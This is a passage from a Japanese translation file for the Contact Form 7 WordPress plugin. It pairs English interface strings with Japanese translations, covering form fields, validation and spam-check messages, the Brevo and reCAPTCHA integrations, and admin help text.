href=\"%s\">Brevo</a>)." msgstr "外部の API との連携があなたのコンタクトフォームをもっと強力で多機能なものにします。CRM とメールマーケティングのサービスと連携すれば独自の連絡先リストの構築が可能になります (<a href=\"%s\">Brevo</a>)。" #: admin/includes/welcome-panel.php:127 msgid "You have strong allies to back you up." msgstr "あなたを助ける強い味方がいます。" #: admin/admin.php:587 msgid "https://contactform7.com/integration-with-external-apis/" msgstr "https://contactform7.com/ja/integration-with-external-apis/" #: admin/admin.php:65 admin/admin.php:576 msgid "Integration with External API" msgstr "外部 API とのインテグレーション" #: modules/sendinblue/contact-form-properties.php:374 msgid "Manage your email templates" msgstr "メールテンプレートを管理する" #: modules/sendinblue/contact-form-properties.php:357 msgid "You have no active email template yet." msgstr "アクティブなメールテンプレートがありません。" #: modules/sendinblue/contact-form-properties.php:335 msgid "— Select —" msgstr "— 選択 —" #: modules/sendinblue/contact-form-properties.php:320 msgid "Select an email template:" msgstr "メールテンプレートを選択:" #: modules/sendinblue/contact-form-properties.php:299 msgid "Send a welcome email to new contacts" msgstr "新規連絡先にウェルカムメールを送信する" #: modules/sendinblue/contact-form-properties.php:269 #: modules/sendinblue/contact-form-properties.php:281 msgid "Welcome email" msgstr "ウェルカムメール" #: modules/sendinblue/contact-form-properties.php:246 #: modules/sendinblue/contact-form-properties.php:384 msgid "(opens in a new tab)" msgstr "(新しいタブで開く)" #: modules/sendinblue/contact-form-properties.php:236 msgid "Manage your contact lists" msgstr "連絡先リストを管理する" #: modules/sendinblue/contact-form-properties.php:219 msgid "You have no contact list yet." msgstr "連絡先リストがありません。" #: modules/sendinblue/contact-form-properties.php:188 msgid "Select lists to which contacts are added:" msgstr "連絡先を追加するリストを選択:" #: modules/sendinblue/contact-form-properties.php:169 msgid "Add form submitters to your contact lists" msgstr "フォーム送信者を連絡先リストに追加する" #: modules/sendinblue/contact-form-properties.php:139 #: modules/sendinblue/contact-form-properties.php:151 msgid "Contact lists" msgstr "連絡先リスト" #. translators: %s: link labeled 'Brevo integration' #: modules/sendinblue/contact-form-properties.php:94 msgid "You can set up the Brevo integration here. For details, see %s." msgstr "ここで Brevo インテグレーションを設定できます。詳しくは %s を参照。" #: modules/sendinblue/service.php:251 msgid "Save changes" msgstr "変更を保存" #: modules/sendinblue/service.php:247 msgctxt "API keys" msgid "Remove key" msgstr "キーを削除" #: modules/sendinblue/service.php:226 msgid "API key" msgstr "API キー" #: modules/recaptcha/service.php:331 modules/sendinblue/service.php:208 #: modules/stripe/service.php:215 modules/turnstile/service.php:311 msgid "Setup integration" msgstr "インテグレーションのセットアップ" #: admin/includes/welcome-panel.php:135 #: modules/sendinblue/contact-form-properties.php:97 #: modules/sendinblue/service.php:176 msgid "https://contactform7.com/sendinblue-integration/" msgstr "https://contactform7.com/ja/sendinblue-integration/" #: modules/sendinblue/service.php:166 msgid "Store and organize your contacts while protecting user privacy on Brevo, the leading CRM & email marketing platform in Europe. Brevo offers unlimited contacts and advanced marketing features." msgstr "欧州で人気の CRM とメールマーケティングのプラットフォーム、Brevo を使えば連絡先データの保存・整理とユーザープライバシー保護の両立が可能です。Brevo は無制限の連絡先件数と先進的マーケティング機能を提供します。" #: modules/sendinblue/service.php:128 msgid "You have not been authenticated. Make sure the provided API key is correct." msgstr "認証に失敗しました。正しい API キーが入力されているか確認してください。" #: includes/mail.php:311 msgid "Failed to attach a file. The total file size exceeds the limit of 25 megabytes." msgstr "ファイルの添付に失敗しました。合計のファイルサイズが25メガバイトの上限を超えています。" #. translators: %s: Attachment file path. #: includes/mail.php:291 msgid "Failed to attach a file. %s is not a readable file." msgstr "ファイルの添付に失敗しました。%s は読み込み可能なファイルではありません。" #. translators: %s: Attachment file path. #: includes/mail.php:277 msgid "Failed to attach a file. %s is not in the allowed directory." msgstr "ファイルの添付に失敗しました。%s は許可されたディレクトリにあるファイルではありません。" #: includes/contact-form-template.php:42 msgid "Submit" msgstr "送信" #: includes/contact-form-template.php:37 msgid "(optional)" msgstr "(任意)" #. translators: %s: comma separated list of disallowed words #: modules/disallowed-list.php:36 msgid "Disallowed words (%s) are used." msgstr "禁止用語 (%s) が使用された。" #: modules/disallowed-list.php:32 msgid "Disallowed words are used." msgstr "禁止用語が使用された。" #. translators: %s: Contact Form 7 version number. #: includes/functions.php:568 msgid "(This message was added in Contact Form 7 version %s.)" msgstr "(このメッセージは Contact Form 7 バージョン %s で追加されました。)" #: includes/special-mail-tags.php:22 includes/special-mail-tags.php:104 #: includes/special-mail-tags.php:170 includes/special-mail-tags.php:239 #: modules/flamingo.php:310 msgid "The fourth parameter ($mail_tag) must be an instance of the WPCF7_MailTag class." msgstr "第4引数 ($mail_tag) に指定できるのは WPCF7_MailTag クラスのインスタンスに限られます。" #. translators: time format, see https://www.php.net/date #: admin/includes/class-contact-forms-list-table.php:236 msgid "g:i a" msgstr "g:i a" #. translators: 1: date, 2: time #: admin/includes/class-contact-forms-list-table.php:232 msgid "%1$s at %2$s" msgstr "%1$s %2$s" #: modules/sendinblue/service.php:127 modules/sendinblue/service.php:138 msgid "Error" msgstr "エラー" #: includes/config-validator/mail.php:437 msgid "The total size of attachment files is too large." msgstr "添付ファイルの合計容量が大きすぎる。" #: includes/config-validator/form.php:45 msgid "Unavailable HTML elements are used in the form template." msgstr "フォームテンプレートで使用できない HTML 要素が使われている。" #: modules/recaptcha/service.php:312 msgid "reCAPTCHA is active on this site." msgstr "reCAPTCHA はこのサイト上で有効化されています。" #: modules/recaptcha/recaptcha.php:148 msgid "reCAPTCHA response token is empty." msgstr "reCAPTCHA の応答トークンが空です。" #: includes/submission.php:660 msgid "Submitted nonce is invalid." msgstr "送信されたノンスが正しくありません。" #: includes/submission.php:651 msgid "User-Agent string is unnaturally short." msgstr "不自然に短いユーザーエージェント文字列が見られます。" #. translators: 1: value of reCAPTCHA score 2: value of reCAPTCHA threshold #: modules/recaptcha/recaptcha.php:155 msgid "reCAPTCHA score (%1$.2f) is lower than the threshold (%2$.2f)." msgstr "reCAPTCHA スコア (%1$.2f) が設定された閾値 (%2$.2f) を下回っています。" #: modules/akismet/akismet.php:84 msgid "Akismet returns a spam response." msgstr "Akismet がスパム判定を返しています。" #. translators: 1: response code, 2: message, 3: body, 4: URL #: includes/functions.php:621 msgid "HTTP Response: %1$s %2$s %3$s from %4$s" msgstr "HTTP レスポンス: %1$s %2$s %3$s from %4$s" #: modules/recaptcha/service.php:397 modules/stripe/service.php:294 #: modules/turnstile/service.php:376 msgid "Save Changes" msgstr "変更を保存" #: modules/recaptcha/service.php:289 msgid "reCAPTCHA protects you against spam and other types of automated abuse. With Contact Form 7’s reCAPTCHA integration module, you can block abusive form submissions by spam bots." msgstr "reCAPTCHA はスパムやその他の自動化された嫌がらせからあなたを守ります。Contact Form 7 の reCAPTCHA インテグレーションモジュールを使えば、スパムボットによる不正なフォーム送信を遮断できます。" #: modules/recaptcha/recaptcha.php:255 modules/recaptcha/service.php:300 msgid "reCAPTCHA (v3)" msgstr "reCAPTCHA (v3)" #. translators: %s: link labeled 'reCAPTCHA (v3)' #: modules/recaptcha/recaptcha.php:252 msgid "API keys for reCAPTCHA v3 are different from those for v2; keys for v2 do not work with the v3 API. You need to register your sites again to get new keys for v3. For details, see %s." msgstr "reCAPTCHA v3 と v2 の API キーはそれぞれ別のものです。v2 のキーは v3 の API では機能しません。再度サイトを登録して v3 のキーを新規に入手しましょう。詳しくは %s を参照してください。" #: modules/constant-contact/constant-contact.php:206 #: modules/recaptcha/service.php:392 modules/stripe/service.php:290 #: modules/turnstile/service.php:372 msgctxt "API keys" msgid "Remove Keys" msgstr "キーを削除" #: modules/constant-contact/constant-contact.php:191 msgid "App Secret" msgstr "App シークレット" #: modules/constant-contact/constant-contact.php:169 msgid "API Key" msgstr "API キー" #: modules/constant-contact/constant-contact.php:56 msgid "Constant Contact" msgstr "Constant Contact" #: includes/integration.php:26 msgid "Email marketing" msgstr "メールマーケティング" #: includes/config-validator/mail.php:423 msgid "It is not allowed to use files outside the wp-content directory." msgstr "wp-content ディレクトリの外部にあるファイルは指定できません。" #: admin/edit-contact-form.php:386 msgid "Professional services" msgstr "プロによるサービス" #: admin/edit-contact-form.php:385 msgid "https://contactform7.com/custom-development/" msgstr "https://contactform7.com/custom-development/" #: admin/edit-contact-form.php:377 msgid "Support forums" msgstr "サポートフォーラム" #: admin/edit-contact-form.php:376 msgid "https://wordpress.org/support/plugin/contact-form-7/" msgstr "https://ja.wordpress.org/support/topic-tag/contact-form-7/" #: admin/edit-contact-form.php:354 msgid "Here are some available options to help solve your problems." msgstr "問題解決の助けとなるいくつかの選択肢を紹介します。" #: admin/edit-contact-form.php:342 msgid "Do you need help?" msgstr "お困りですか?" #: modules/acceptance.php:320 msgid "Condition" msgstr "同意条件" #. translators: 1: 'Consented' or 'Not consented', 2: conditions #: modules/acceptance.php:240 msgctxt "mail output for acceptance checkboxes" msgid "%1$s: %2$s" msgstr "%1$s: %2$s" #: modules/acceptance.php:224 msgid "Not consented" msgstr "同意しない" #: modules/acceptance.php:222 msgid "Consented" msgstr "同意する" #: includes/submission.php:120 msgid "Sending mail has been aborted." msgstr "メールの送信が中断されました。" #: admin/includes/editor.php:460 msgid "https://contactform7.com/editing-messages/" msgstr "https://contactform7.com/ja/editing-messages/" #: admin/includes/editor.php:87 msgid "https://contactform7.com/editing-form-template/" msgstr "https://contactform7.com/ja/editing-form-template/" #: includes/contact-form.php:546 includes/contact-form.php:1069 msgid "This contact form is available only for logged in users." msgstr "このコンタクトフォームはログインしたユーザーにのみ利用可能です。" #: includes/config-validator/additional-settings.php:19 msgid "Deprecated settings are used." msgstr "廃止予定の設定が使われている。" #: includes/rest-api.php:323 msgid "There was an error deleting the contact form." msgstr "コンタクトフォームを削除する際にエラーが発生しました。" #: includes/rest-api.php:66 includes/rest-api.php:82 includes/rest-api.php:98 msgid "You are not allowed to access the requested contact form." msgstr "リクエストしたコンタクトフォームにアクセスする権限がありません。" #: includes/rest-api.php:245 includes/rest-api.php:267 #: includes/rest-api.php:314 includes/rest-api.php:353 #: includes/rest-api.php:425 includes/rest-api.php:444 msgid "The requested contact form was not found." msgstr "リクエストしたコンタクトフォームが見つかりません。" #: includes/rest-api.php:44 msgid "You are not allowed to create a contact form." msgstr "コンタクトフォームを作成する権限がありません。" #: includes/rest-api.php:197 msgid "Cannot create existing contact form." msgstr "既存のコンタクトフォームは作成できません。" #: includes/rest-api.php:30 msgid "You are not allowed to access contact forms." msgstr "コンタクトフォームにアクセスする権限がありません。" #: includes/config-validator/mail.php:409 msgid "Attachment file does not exist at %path%." msgstr "添付するファイルが %path% に存在しません。" #: includes/config-validator/mail.php:310 msgid "Invalid mailbox syntax is used in the %name% field." msgstr "%name% 項目に不正なメールボックス構文が見られます。" #. translators: %names%: a list of form control names #: includes/config-validator/form.php:32 msgid "Unavailable names (%names%) are used for form controls." msgstr "フォームコントロールに使用できない名前 (%names%) が使われています。" #: includes/config-validator/mail.php:297 msgid "There are invalid mail header fields." msgstr "不正なメールヘッダー項目があります。" #: includes/config-validator/messages.php:29 msgid "HTML tags are used in a message." msgstr "メッセージに HTML タグが使われている。" #: includes/config-validator/mail.php:198 msgid "Sender email address does not belong to the site domain." msgstr "サイトのドメインに属していないメールアドレスが送信元に設定されています。" #: includes/config-validator/mail.php:180 #: includes/config-validator/mail.php:217 msgid "Invalid mailbox syntax is used." msgstr "不正なメールボックス構文が使用されています。" #: includes/config-validator/mail.php:160 #: includes/config-validator/mail.php:344 msgid "There is a possible empty field." msgstr "項目が空になる可能性があります。" #. translators: %s: number of errors detected #: admin/includes/class-contact-forms-list-table.php:131 msgid "%s configuration error detected" msgid_plural "%s configuration errors detected" msgstr[0] "%s件の設定エラーを検出しました" #: admin/admin.php:643 includes/rest-api.php:209 includes/rest-api.php:278 msgid "There was an error saving the contact form." msgstr "コンタクトフォームを保存する際にエラーが発生しました。" #. translators: 1: WordPress hook name, 2: version number, 3: alternative hook #. name #: includes/functions.php:525 msgid "Hook %1$s is <strong>deprecated</strong> since Contact Form 7 version %2$s! Use %3$s instead." msgstr "フック %1$s の使用は Contact Form 7 バージョン %2$s から<strong>非推奨</strong>になっています! 代わりに %3$s を使ってください。" #. translators: %s: URL to support page about the Flamingo plugin #: admin/includes/welcome-panel.php:112 msgid "Install a message storage plugin before this happens to you. <a href=\"%s\">Flamingo</a> saves all messages through contact forms into the database. Flamingo is a free WordPress plugin created by the same author as Contact Form 7." msgstr "こんなことが現実になる前にメッセージ保存プラグインをインストールしましょう。<a href=\"%s\">Flamingo</a> はコンタクトフォームを経由するすべてのメッセージをデータベースに保存します。Flamingo は Contact Form 7 と同じ作者が開発したフリーの WordPress プラグインです。" #: admin/includes/welcome-panel.php:109 msgid "Contact Form 7 does not store submitted messages anywhere. Therefore, you may lose important messages forever if your mail server has issues or you make a mistake in mail configuration." msgstr "Contact Form 7 は送信されたメッセージをどこにも保存しません。そのため、メールサーバーに問題があったりメールの設定に間違いがあれば、大事なメッセージを永遠に失うことになりかねません。" #: admin/includes/welcome-panel.php:104 msgid "Before you cry over spilt mail…" msgstr "こぼしたメールを嘆く前に。" #: admin/includes/welcome-panel.php:67 msgid "https://contactform7.com/comment-blacklist/" msgstr "https://contactform7.com/comment-blacklist/" #: admin/includes/welcome-panel.php:61 msgid "Spammers target everything; your contact forms are not an exception. Before you get spammed, protect your contact forms with the powerful anti-spam features Contact Form 7 provides." msgstr "スパマーはあらゆるものを標的にします。あなたのコンタクトフォームも例外ではありません。スパムの被害を受ける前に、Contact Form 7 が提供する強力なアンチスパム機能でコンタクトフォームを守りましょう。" #: admin/includes/welcome-panel.php:56 msgid "Getting spammed? You have protection." msgstr "スパムが来ました? 対策ならありますよ。" #: includes/config-validator/form.php:16 msgid "Multiple form controls are in a single label element." msgstr "複数のフォームコントロールが単一の label 要素内に置かれています。" #: admin/includes/config-validator.php:175 msgid "FAQ about Configuration Validator" msgstr "設定検証についての FAQ" #: admin/includes/config-validator.php:174 msgid "https://contactform7.com/configuration-validator-faq/" msgstr "https://contactform7.com/configuration-validator-faq/" #: modules/quiz.php:181 msgid "The answer to the quiz is incorrect." msgstr "クイズの答えが正しくありません。" #: includes/file.php:121 msgid "There was an error uploading the file." msgstr "ファイルのアップロード中にエラーが発生しました。" #: includes/file.php:111 msgid "You are not allowed to upload files of this type." msgstr "この形式のファイルはアップロードできません。" #: includes/file.php:106 msgid "There was an unknown error uploading the file." msgstr "ファイルのアップロード時に不明なエラーが発生しました。" #: includes/contact-form-template.php:184 msgid "You must accept the terms and conditions before sending your message." msgstr "メッセージを送信する前に承諾確認が必要です。" #: includes/contact-form-template.php:174 msgid "One or more fields have an error. Please check and try again." msgstr "入力内容に問題があります。確認して再度お試しください。" #: includes/contact-form-template.php:169 #: includes/contact-form-template.php:179 msgid "There was an error trying to send your message. Please try again later." msgstr "メッセージの送信に失敗しました。後でまたお試しください。" #: includes/contact-form-template.php:164 msgid "Thank you for your message. It has been sent." msgstr "ありがとうございます。メッセージは送信されました。" #. translators: 1: blog name, 2: [your-subject] #: includes/contact-form-template.php:52 includes/contact-form-template.php:96 msgctxt "mail subject" msgid "%1$s \"%2$s\"" msgstr "%1$s \"%2$s\"" #: admin/includes/config-validator.php:47 msgid "Misconfiguration leads to mail delivery failure or other troubles. Validate your contact forms now." msgstr "間違った設定があるとメール配送の失敗やその他のトラブルにつながります。コンタクトフォームの設定を検証しましょう。" #: admin/includes/config-validator.php:53 msgid "Validate Contact Form 7 Configuration" msgstr "Contact Form 7 の設定を検証する" #: includes/config-validator/validator.php:56 msgid "https://contactform7.com/configuration-errors/" msgstr "https://contactform7.com/configuration-errors/" #: admin/admin.php:661 msgid "Configuration validation completed. No invalid contact form was found." msgstr "設定検証が完了しました。問題のあるコンタクトフォームは見つかりませんでした。" #. translators: %s: number of contact forms #: admin/admin.php:653 msgid "Configuration validation completed. %s invalid contact form was found." msgid_plural "Configuration validation completed. %s invalid contact forms were found." msgstr[0] "設定検証が完了しました。問題のあるコンタクトフォームが %s 個見つかりました。" #: admin/includes/config-validator.php:142 msgid "Validate Configuration" msgstr "設定検証" #. translators: %s: number of contact forms #: admin/includes/config-validator.php:118 msgid "Validate %s contact form now" msgid_plural "Validate %s contact forms now" msgstr[0] "%s 個のコンタクトフォームを検証する" #: admin/includes/config-validator.php:75 msgid "You are not allowed to validate configuration." msgstr "設定検証を行う権限がありません。" #: modules/recaptcha/recaptcha.php:254 modules/recaptcha/service.php:299 msgid "https://contactform7.com/recaptcha/" msgstr "https://contactform7.com/recaptcha/" #: modules/recaptcha/service.php:368 modules/stripe/service.php:269 #: modules/turnstile/service.php:351 msgid "Secret Key" msgstr "シークレットキー" #: modules/recaptcha/service.php:351 modules/turnstile/service.php:334 msgid "Site Key" msgstr "サイトキー" #: modules/recaptcha/service.php:269 modules/sendinblue/service.php:147 #: modules/stripe/service.php:153 modules/turnstile/service.php:246 msgid "Settings saved." msgstr "設定を保存しました。" #: modules/sendinblue/service.php:139 msgid "Invalid key values." msgstr "不正なキー値。" #: modules/recaptcha/service.php:29 msgid "reCAPTCHA" msgstr "reCAPTCHA" #. Description of the plugin #: wp-contact-form-7.php msgid "Just another contact form plugin. Simple but flexible." msgstr "お問い合わせフォームプラグイン。シンプル、でも柔軟。" #. Plugin URI of the plugin #: wp-contact-form-7.php msgid "https://contactform7.com/" msgstr "https://contactform7.com/" #. translators: title of your first contact form. %d: number fixed to '1' #: load.php:195 msgid "Contact form %d" msgstr "コンタクトフォーム %d" #: modules/textarea.php:141 msgid "text area" msgstr "テキストエリア" #: modules/akismet/service.php:22 msgid "Akismet" msgstr "Akismet" #: modules/text.php:228 msgid "Text field" msgstr "テキスト項目" #: modules/text.php:214 msgid "tel" msgstr "電話番号" #: modules/text.php:213 msgid "URL" msgstr "URL" #: modules/text.php:212 msgid "email" msgstr "メールアドレス" #: modules/text.php:211 msgid "text" msgstr "テキスト" #: modules/text.php:193 msgid "Telephone number that the sender entered is invalid" msgstr "入力された電話番号の形式が正しくない" #: modules/text.php:186 msgid "URL that the sender entered is invalid" msgstr "入力された URL の形式が正しくない" #: modules/text.php:179 msgid "Email address that the sender entered is invalid" msgstr "入力されたメールアドレスの形式が正しくない" #: modules/submit.php:100 msgid "Label" msgstr "ラベル" #: modules/submit.php:56 msgid "Submit button" msgstr "送信ボタン" #: modules/submit.php:47 msgid "submit" msgstr "送信ボタン" #: modules/select.php:228 msgid "drop-down menu" msgstr "ドロップダウンメニュー" #: modules/quiz.php:258 msgid "Questions and answers" msgstr "クイズと回答" #: modules/quiz.php:205 msgid "Quiz" msgstr "クイズ" #: modules/quiz.php:196 msgid "quiz" msgstr "クイズ" #: modules/quiz.php:179 msgid "Sender does not enter the correct answer to the quiz" msgstr "クイズに対する正しい答えが入力されなかった" #: modules/number.php:248 msgid "Slider" msgstr "スライダー" #: modules/number.php:247 msgid "Spinbox" msgstr "スピンボックス" #: modules/number.php:209 msgid "Number field" msgstr "数値入力項目" #: modules/number.php:200 msgid "number" msgstr "数値" #: modules/number.php:186 msgid "Number is larger than maximum limit" msgstr "数値が最大制約値より大きい" #: modules/number.php:181 msgid "Number is smaller than minimum limit" msgstr "数値が最小制約値より小さい" #: modules/number.php:176 msgid "Number format that the sender entered is invalid" msgstr "入力された数値の形式が正しくない" #. translators: %s: the path of the temporary folder #: includes/file.php:434 msgid "This contact form has file uploading fields, but the temporary folder for the files (%s) does not exist or is not writable. You can create the folder or change its permission manually." msgstr "このコンタクトフォームはファイルアップロード項目を含んでいますが、そのファイルのための一時フォルダ (%s) が存在しないか、あるいは書き込み可能ではありません。このフォルダを手動で作成するか、パーミッションの変更を行うと解決できるでしょう。" #: modules/file.php:205 msgid "Acceptable file types" msgstr "受け入れ可能なファイル形式" #: modules/file.php:142 msgid "file" msgstr "ファイル" #: includes/file.php:120 msgid "Uploading a file fails for PHP error" msgstr "ファイルのアップロードが PHP のエラーにより失敗している" #: includes/file.php:115 msgid "Uploaded file is too large" msgstr "アップロードされたファイルが大きすぎる" #: includes/file.php:110 msgid "Uploaded file is not allowed for file type" msgstr "アップロードされたファイルが許可されたファイル形式に適合しない" #: includes/file.php:105 msgid "Uploading a file fails for any reason" msgstr "ファイルのアップロードが何らかの理由により失敗している" #: admin/includes/tag-generator.php:412 msgid "Max" msgstr "上限" #: admin/includes/tag-generator.php:393 msgid "Min" msgstr "下限" #: modules/date.php:238 modules/number.php:257 msgid "Range" msgstr "範囲" #: admin/includes/tag-generator.php:436 msgid "Default value" msgstr "デフォルト値" #: modules/date.php:190 msgid "Date field" msgstr "日付項目" #: modules/date.php:181 msgid "date" msgstr "日付" #: modules/date.php:167 msgid "Date is later than maximum limit" msgstr "日付が最大制約日より大きい" #: modules/date.php:162 msgid "Date is earlier than minimum limit" msgstr "日付が最小制約日より小さい" #: modules/date.php:157 msgid "Date format that the sender entered is invalid" msgstr "入力された日付の形式が正しくない" #: admin/includes/tag-generator.php:562 msgid "Wrap each item with a label element." msgstr "個々の項目を label 要素で囲む。" #: admin/includes/tag-generator.php:219 msgid "Field type" msgstr "項目タイプ" #: modules/checkbox.php:352 msgid "radio buttons" msgstr "ラジオボタン" #: modules/checkbox.php:351 msgid "checkboxes" msgstr "チェックボックス" #: modules/really-simple-captcha.php:290 msgid "This contact form contains CAPTCHA fields, but the necessary libraries (GD and FreeType) are not available on your server." msgstr "このコンタクトフォームは CAPTCHA の項目を含んでいますが、お使いのサーバーでは必要なライブラリ (GD および FreeType) が利用可能でありません。" #. translators: %s: Path to the temporary folder #: modules/really-simple-captcha.php:278 msgid "This contact form contains CAPTCHA fields, but the temporary folder for the files (%s) does not exist or is not writable. You can create the folder or change its permission manually." msgstr "このコンタクトフォームは CAPTCHA の項目を含んでいますが、そのファイルのための一時フォルダ (%s) が存在しないか、あるいは書き込み可能ではありません。このフォルダを手動で作成するか、パーミッションの変更を行うと解決できるでしょう。" #: modules/really-simple-captcha.php:236 msgid "Your entered code is incorrect." msgstr "入力されたコードが正しくありません。" #: modules/really-simple-captcha.php:234 msgid "The code that sender entered does not match the CAPTCHA" msgstr "入力されたコードが CAPTCHA に適合していない" #: admin/includes/tag-generator.php:599 msgid "Insert Tag" msgstr "タグを挿入" #: admin/includes/tag-generator.php:362 msgid "Class attribute" msgstr "クラス属性" #: admin/includes/tag-generator.php:347 msgid "ID attribute" msgstr "ID 属性" #: modules/acceptance.php:266 msgid "Acceptance checkbox" msgstr "承諾確認チェックボックス" #: modules/acceptance.php:257 msgid "acceptance" msgstr "承諾確認" #. translators: 1: property name, 2: method name #: includes/contact-form.php:233 msgid "<code>%1$s</code> property of a <code>WPCF7_ContactForm</code> object is <strong>no longer accessible</strong>. Use <code>%2$s</code> method instead." msgstr "<code>WPCF7_ContactForm</code> オブジェクトの <code>%1$s</code> プロパティは<strong>もうアクセスできません</strong>。代わりに <code>%2$s</code> メソッドを使ってください。" #: includes/contact-form.php:114 includes/contact-form.php:437 msgid "Untitled" msgstr "無題" #: includes/contact-form.php:52 msgid "Contact Form" msgstr "コンタクトフォーム" #: includes/contact-form-template.php:198 msgid "There is a field with input that is shorter than the minimum allowed length" msgstr "ユーザー入力が最小許容文字数に満たない項目がある" #: includes/contact-form-template.php:193 msgid "There is a field with input that is longer than the maximum allowed length" msgstr "ユーザー入力が最大許容文字数を超える項目がある" #: includes/contact-form-template.php:188 msgid "There is a field that the sender must fill in" msgstr "入力必須の項目が入力されていない" #: includes/contact-form-template.php:183 msgid "There are terms that the sender must accept" msgstr "承諾が必要な項目が承諾されていない" #: includes/contact-form-template.php:178 msgid "Submission was referred to as spam" msgstr "送信がスパムと見なされた" #: includes/contact-form-template.php:173 msgid "Validation errors occurred" msgstr "入力内容に不備が見つかった" #: includes/contact-form-template.php:163 msgid "Sender’s message was sent successfully" msgstr "メッセージが正常に送信された" #: includes/contact-form-template.php:72 includes/contact-form-template.php:106 msgid "Message Body:" msgstr "メッセージ本文:" #. translators: %s: [your-subject] #: includes/contact-form-template.php:69 msgid "Subject: %s" msgstr "題名: %s" #. translators: %s: [your-name] [your-email] #: includes/contact-form-template.php:64 msgid "From: %s" msgstr "差出人: %s" #: modules/submit.php:26 msgid "Send" msgstr "送信" #: includes/contact-form-template.php:41 msgid "Your message" msgstr "メッセージ本文" #: includes/contact-form-template.php:39 msgid "Your email" msgstr "メールアドレス" #: includes/contact-form-template.php:38 msgid "Your name" msgstr "氏名" #. translators: %s: title of form-tag #: admin/includes/tag-generator.php:85 msgid "Form-tag Generator: %s" msgstr "フォームタグ生成: %s" #: admin/includes/help-tabs.php:97 msgid "For more information:" msgstr "詳細情報:" #: admin/includes/help-tabs.php:89 msgid "Any information you provide will not be shared with service providers without your authorization." msgstr "あなたが許可しない限り、サービス提供者に対していかなる情報も送信されることはありません。" #: admin/includes/help-tabs.php:88 msgid "You may need to first sign up for an account with the service that you plan to use. When you do so, you would need to authorize Contact Form 7 to access the service with your account." msgstr "サービスの利用に先立って、それらのサービスでのアカウント登録が必要になります。また、Contact Form 7 があなたのアカウントでサービスにアクセスすることの許可が求められるでしょう。" #: admin/includes/help-tabs.php:87 msgid "On this screen, you can manage services that are available through Contact Form 7. Using API will allow you to collaborate with any services that are available." msgstr "この画面では Contact Form 7 を通じて利用できるサービスを管理できます。API の利用によりそれらのサービスとの連携が可能になります。" #: admin/includes/help-tabs.php:85 msgid "There are also special mail-tags that have specific names, but do not have corresponding form-tags. They are used to represent meta information of form submissions like the submitter’s IP address or the URL of the page." msgstr "特定の名前が与えられ、フォームタグとの対応関係を持たない特別なメールタグも存在します。それらはフォーム送信に関係するメタ情報を表現するのに用いられ、例えば送信者の IP アドレスや送信元ページの URL などが含まれます。" #: admin/includes/help-tabs.php:84 msgid "A mail-tag is also a short code enclosed in square brackets that you can use in every Mail and Mail (2) field. A mail-tag represents a user input value through an input field of a corresponding form-tag." msgstr "メールタグも角括弧で囲まれた短いコードですが、こちらはメールとメール (2) のフィールドで使われます。メールタグは、それに対応するフォームタグが表す入力項目へのユーザー入力値を表現します。" #: admin/includes/help-tabs.php:82 msgid "While form-tags have a comparatively complex syntax, you do not need to know the syntax to add form-tags because you can use the straightforward tag generator (<strong>Generate Tag</strong> button on this screen)." msgstr "フォームタグの構文は比較的複雑なものですが、フォームタグを追加するためにそれらを覚える必要はありません。タグジェネレーター (この画面にある「タグの作成」ボタン) を使って簡単にフォームタグを作成できます。" #: admin/includes/help-tabs.php:81 msgid "A form-tag is a short code enclosed in square brackets used in a form content. A form-tag generally represents an input field, and its components can be separated into four parts: type, name, options, and values. Contact Form 7 supports several types of form-tags including text fields, number fields, date fields, checkboxes, radio buttons, menus, file-uploading fields, CAPTCHAs, and quiz fields." msgstr "フォームタグは角括弧で囲まれた短いコードで、フォーム内で使われるものです。一般的にフォームタグは入力項目を表現しており、またその内部構成はタイプ、名前、オプション、値の4つの部分に分けられます。Contact Form 7 はテキスト入力項目、数値入力項目、日付項目、チェックボックス、ラジオボタン、メニュー、ファイルアップロード項目、CAPTCHA、クイズ項目といった様々なタイプのフォームタグをサポートしています。" #: admin/includes/help-tabs.php:79 msgid "<strong>Additional Settings</strong> provides a place where you can customize the behavior of this contact form by adding code snippets." msgstr "<strong>その他の設定</strong>にはこのコンタクトフォームの動作をカスタマイズするための小コードを追加できます。" #: admin/includes/help-tabs.php:78 msgid "In <strong>Messages</strong>, you can edit various types of messages used for this contact form. These messages are relatively short messages, like a validation error message you see when you leave a required field blank." msgstr "<strong>メッセージ</strong>では、このコンタクトフォームで使われる様々なタイプのメッセージを編集できます。これらのメッセージは、例えば必須項目が入力されていない場合に表示される検証エラーメッセージのような、比較的短いものです。" #: admin/includes/help-tabs.php:77 msgid "<strong>Mail (2)</strong> is an additional mail template that works similar to Mail. Mail (2) is different in that it is sent only when Mail has been sent successfully." msgstr "<strong>メール (2)</strong> はメールと同様の働きをする追加のメールテンプレートです。メール (2) はメールが正常に送信された場合にのみ送信されるという点でメールとの違いがあります。" #: admin/includes/help-tabs.php:76 msgid "<strong>Mail</strong> manages a mail template (headers and message body) that this contact form will send when users submit it. You can use Contact Form 7’s mail-tags here." msgstr "<strong>メール</strong> は、ユーザーがこのコンタクトフォームを送信した時に送られるメール (ヘッダーとメッセージ本文) のテンプレートを管理します。ここでは Contact Form 7 のメールタグを使うことができます。" #: admin/includes/help-tabs.php:75 msgid "<strong>Form</strong> is a content of HTML form. You can use arbitrary HTML, which is allowed inside a form element. You can also use Contact Form 7’s form-tags here." msgstr "<strong>フォーム</strong>は HTML フォームの内容です。フォーム要素の内側で利用可能な任意の HTML が利用可能です。また、ここでは Contact Form 7 のフォームタグを使うことができます。" #: admin/includes/help-tabs.php:74 msgid "<strong>Title</strong> is the title of a contact form. This title is only used for labeling a contact form, and can be edited." msgstr "<strong>タイトル</strong>はそのコンタクトフォームのタイトルです。このタイトルはコンタクトフォームのラベル付けの目的でのみ用いられます。タイトルは編集可能です。" #: admin/includes/help-tabs.php:73 msgid "On this screen, you can edit a contact form. A contact form is comprised of the following components:" msgstr "この画面ではコンタクトフォームを編集できます。コンタクトフォームは以下の要素から構成されます:" #: admin/includes/help-tabs.php:71 msgid "<strong>Duplicate</strong> - Clones that contact form. A cloned contact form inherits all content from the original, but has a different ID." msgstr "<strong>複製</strong> - そのコンタクトフォームの複製を作成します。複製されたコンタクトフォームは元のコンタクトフォームからすべての内容を継承しますが、ID は違う値になります。" #: admin/includes/help-tabs.php:70 msgid "<strong>Edit</strong> - Navigates to the editing screen for that contact form. You can also reach that screen by clicking on the contact form title." msgstr "<strong>編集</strong> - そのコンタクトフォームの編集画面に移動します。コンタクトフォームのタイトルをクリックすることでも編集画面に移動できます。" #: admin/includes/help-tabs.php:69 msgid "Hovering over a row in the contact forms list will display action links that allow you to 